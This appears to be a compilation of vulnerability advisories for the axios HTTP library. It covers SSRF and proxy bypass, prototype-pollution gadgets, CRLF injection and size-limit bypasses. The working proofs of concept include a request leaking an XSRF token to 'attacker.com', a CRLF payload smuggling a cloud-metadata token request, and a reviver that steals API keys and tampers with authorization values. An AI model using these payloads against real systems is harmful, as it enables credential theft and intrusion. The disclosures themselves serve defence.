- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.
CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
## Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.
The default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is **strictly more powerful** than the `transformResponse` gadget because:
1. **No constraints** — the reviver can return any value (no "must return true" requirement)
2. **Selective modification** — individual JSON keys can be changed while others remain untouched
3. **Invisible** — the response structure and most values look completely normal
4. **Simultaneous exfiltration** — the reviver sees the original values before modification
**Severity:** Critical (CVSS 9.1)
**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)
**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)
## CWE
- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes
## CVSS 3.1
**Score: 9.1 (Critical)**
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured |
| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
### Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |
|---|---|---|---|---|
| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |
| Fixed by 1.15.0? | Yes | No | No | **No** |
| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |
| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |
| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |
| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |
| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |
## Usage of "Helper" Vulnerabilities
This vulnerability requires **Zero Direct User Input**.
If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
## Root Cause Analysis
### The Attack Path
```
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
```
### Why `parseReviver` Bypasses ALL Existing Protections
1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.
2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.
3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.
4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.
### Vulnerable Code
**File:** `lib/defaults/index.js`, line 124
```javascript
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
```
## Proof of Concept
```javascript
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
```
## Verified PoC Output
```
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
```
## Impact Analysis
### 1. Authorization / Privilege Escalation
```javascript
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
```
### 2. Financial Manipulation
```javascript
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
```
### 3. Security Control Bypass
```javascript
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
```
### 4. Silent Data Exfiltration
The reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
### 5. Universal and Invisible
- Affects **every** Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
## Recommended Fix
### Fix 1: Use `hasOwnProperty` check before using `parseReviver`
```javascript
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
```
### Fix 2: Use null-prototype config object
```javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
```
### Fix 3: Validate `parseReviver` type and source
```javascript
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
```
## Relationship to Other Reported Gadgets
This vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |
| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |
| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |
### Why These Are Distinct Vulnerabilities
1. **Different polluted properties:** Each targets a different `Object.prototype` key.
2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.
3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.
4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.
### Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
## Resources
- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)
- [Axios GitHub Repository](https://github.com/axios/axios)
## Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-915 Improperly Controlled Modification of Dynamically-Determined Object AttributesVulnerable Software & Versions (NPM):
# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
## Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.
**Severity:** Medium (CVSS 5.4)
**Affected Versions:** All versions since `withXSRFToken` was introduced
**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`
**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)
## CWE
- **CWE-201:** Insertion of Sensitive Information Into Sent Data
- **CWE-183:** Permissive List of Allowed Inputs
## CVSS 3.1
**Score: 5.4 (Medium)**
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
## Usage of "Helper" Vulnerabilities
This vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.
If an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `"true"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
## Vulnerable Code
**File:** `lib/helpers/resolveConfig.js`, lines 57-66
```javascript
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
```
**Designed behavior:**
- `true` → always send token (explicit cross-origin opt-in)
- `false` → never send token
- `undefined` → send only for same-origin requests
**Actual behavior for non-boolean truthy values (`1`, `"false"`, `{}`, `[]`):**
- All treated as truthy → same-origin check skipped → token sent everywhere
## Proof of Concept
```javascript
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
```
## Verified PoC Output
```
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
```
## Impact Analysis
- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application
- **Misconfiguration Risk:** Developer writing `withXSRFToken: "false"` (string) instead of `false` (boolean) triggers the same issue without PP
**Limitations:**
- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)
- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token
## Recommended Fix
Use strict boolean comparison:
```javascript
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
```
## Resources
- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)
- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [Axios GitHub Repository](https://github.com/axios/axios)
## Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
CWE-183 Permissive List of Allowed Inputs, CWE-201 Insertion of Sensitive Information Into Sent DataVulnerable Software & Versions (NPM):
### Summary
The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
### Details
In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
```
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}
```
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.
### Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\r\n` sequences
2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`
3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.
Additionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.
### PoC
**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)
```
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(`http://127.0.0.1:${port}/upload`, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
```
### Steps to reproduce:
1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
**Expected behavior**: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
### Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
### Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
```
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;
```
CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')Vulnerable Software & Versions (NPM):
### Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
### Details
Relevant flow in lib/adapters/http.js:
- 556-564: maxBodyLength check applies only to buffered/non-stream data.
- 681-682: maxRedirects === 0 selects native http/https transport.
- 694-699: options.maxBodyLength is set, but native transport does not enforce it.
- 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0
Steps:
1. Start an HTTP server that counts uploaded bytes and returns {received}.
2. Send a 2 MiB Readable stream with:
- adapter: 'http'
- maxBodyLength: 1024
- maxRedirects: 0
Observed:
- Request succeeds; server reports received: 2097152.
Control checks:
- Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
- Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.
### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
CWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. ### Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. ### PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully. Observed: - Success; full 2097152 bytes readable. Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. ### Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.CWE-770 Allocation of Resources Without Limits or Throttling
Vulnerable Software & Versions (NPM):
Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.
Requests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.
According to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`.
However, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
---
**PoC**
```js
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
```
**Expected:** Requests bypass the proxy (direct to loopback).
**Actual:** Proxy logs requests for `localhost.` and `[::1]`.
---
**Impact**
* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.
* Attackers controlling request URLs can:
* Force Axios to send local traffic through an attacker-controlled proxy.
* Bypass SSRF mitigations relying on NO\_PROXY rules.
* Potentially exfiltrate sensitive responses from internal services via the proxy.
---
**Affected Versions**
* Confirmed on Axios **1.12.2** (latest at time of testing).
* affects all versions that rely on Axios’ current `NO_PROXY` evaluation.
---
**Remediation**
Axios should normalize hostnames before evaluating `NO_PROXY`, including:
* Strip trailing dots from hostnames (per RFC 3986).
* Normalize IPv6 literals by removing brackets for matching.
CWE-918 Server-Side Request Forgery (SSRF), CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')Vulnerable Software & Versions (NPM):
# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
## Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\r\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)
**Affected Versions**: All versions (v0.x - v1.x)
**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)
## Usage of \"Helper\" Vulnerabilities
This issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (`\r\n`) characters, the polluted property can alter the structure of an outbound HTTP request.
## Proof of Concept
### 1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
```javascript
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
```
### 2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
```javascript
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
```
### 3. The Execution
Axios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.
**Resulting HTTP traffic:**
```http
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
```
### 4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
## Impact Analysis
- **Confidentiality**: May expose limited sensitive information in affected network environments.
- **Integrity**: May allow modification of outbound request structure or injected headers.
- **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
## Recommended Fix
Validate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.
**Patch Suggestion:**
```javascript
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
```
## References
- **OWASP**: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), CWE-918 Server-Side Request Forgery (SSRF), CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')Vulnerable Software & Versions (NPM):
# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
## Summary
